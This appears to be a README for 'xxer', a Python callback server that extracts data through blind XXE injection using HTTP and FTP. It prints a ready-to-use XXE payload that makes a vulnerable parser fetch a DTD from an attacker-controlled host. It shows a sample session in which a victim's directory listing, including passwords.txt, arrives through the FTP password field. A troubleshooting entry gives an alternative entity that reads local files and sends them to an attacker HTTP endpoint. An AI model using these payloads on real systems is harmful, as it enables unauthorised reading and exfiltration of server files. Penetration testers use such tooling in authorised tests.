A blind XXE injection callback handler. Uses HTTP and FTP to extract information. Originally written in Ruby by ONsec-Lab. Rewritten here because I don't like Ruby.

Basically, this doesn't actually find XXE injection for you, it helps you deal with getting useful information back once you've found a vulnerable input. For actually finding vulnerable injection points, I recommend using a small HTTP payload and some sort of DNS callback service like Burp Collaborator. If Collaborator reports a DNS lookup, followed by an HTTP request, then you're good to go.

If you can explain what XXE injection is and how to find it, this is for you. If not, check out vulnd_xxe.

root@kali:~$ xxer.py -h usage: xxer [-h] [-v] [-q] [-p HTTP] [-P FTP] -H HOSTNAME XXE Injection Handler optional arguments: -h, --help show this help message and exit -v, --version show program's version number and exit -q, --quiet surpress extra output -p HTTP, --http HTTP HTTP server port -P FTP, --ftp FTP FTP server port -H HOSTNAME, --hostname HOSTNAME Hostname of this server -d DTD_FILE, --dtd DTD_FILE The DTD file used for the XXE attack Originally from https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp- server.rb, rewritten in Python by TheTwitchy 

root@kali:~$ xxer.py -H kali.host.com _ _ _ _ ___ ___ |_'_|_'_| -_| _| |_,_|_,_|___|_| version 1.0 info: Starting xxer_httpd on port 8080 info: Starting xxer_ftpd on port 2121 info: Servers started. Use the following payload (with URL-encoding): <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://kali.host.com:8080/ext.dtd">%aaa;%ccc;%ddd;]> 127.0.0.1 - - [23/Apr/2017 20:59:04] "GET /ext.dtd HTTP/1.1" 200 - info: FTP: recvd 'USER fakeuser' info: FTP: recvd 'PASS aaaaaaaaaadescriptivefoldername IRS_LETTERS_2014_ANGRY passwords.txt pictures_of_ex_hi_def pictures_of_ex_ultra_hi_def szechuan_sauce_recipe.pgp TAXES2012 Taxes2013 TAXES2015 Temporary Internet Files ' info: FTP: recvd 'TYPE I' info: FTP: recvd 'EPSV ALL' info: FTP: recvd 'EPSV' info: FTP: recvd 'RETR b' 

• Only has one exfiltration point (currently, the FTP password). Obviously this can be changed up as needed, but may require some basic code changes (specifically in the FTP handlers).
• Install via pip. Needs at least a requirements.txt or a setup.py. For now just clone and run.
• Currently serves up everything in the folder in which it was run over HTTP. Probably not a huge security risk, but something you should be aware of, especially on a public server.
• Integrated server file/directory browsing as a future upgrade?

• I don't get a callback over HTTP to retrieve ext.dtd.
  • This could mean a number of things, mostly related to not being vulnerable to XXE:
    • External entities may be disallowed. This can be done by rejecting DOCTYPE decclarations in documents, which I believe prevents XXE injection.
    • It may also allow entities, but disallow entities from remote sources. I've seen this on some Python XML libraries.
    • Outbound traffic could be blocked at a firewall, or requests may only go to whitelisted hosts.
  • There could also be a typo in the payload or a bug. Check the generated ext.dtd file to make sure everything looks correct.
  • If you get some sort of parsing error, make sure you apply URL encoding (or remove it, I dunno) to the payload. Basically make sure you have the "correct" amount of encoding.
• The initial HTTP callback for ext.dtd works, but after that I see nothing.
  • This could mean that FTP as a protocol is disabled server-side. Try changing the FTP callback in ext.dtd to an HTTP one, like <!ENTITY % bbb SYSTEM "file:///tmp/"><!ENTITY % ccc "<!ENTITY &#37; ddd SYSTEM 'http://HOSTNAME:8080/b'>">. If you get a callback to the /b document, this is probably the case. Try using the gopher protocol as well, but this was removed in Java 1.6.32 (or something close).